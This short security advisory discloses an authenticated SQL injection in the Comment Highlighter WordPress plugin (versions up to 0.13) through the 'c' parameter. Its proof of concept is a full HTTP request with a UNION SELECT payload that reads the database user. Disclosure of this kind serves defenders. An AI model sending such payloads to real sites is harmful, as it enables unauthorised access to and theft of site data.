Comment Highlighter <= 0.13 - Authenticated SQL Injection

Description

A c GET parameter of the plugin is not properly sanitised, escaped or validated before inserting to a SQL statement, leading to SQL injection.

Proof of Concept

GET /wp-admin/options-general.php?page=comment-highlighter/comment_highlighter.php&c=-6104%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,user(),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- HTTP/1.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-GPC: 1
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: [admin+]
Connection: close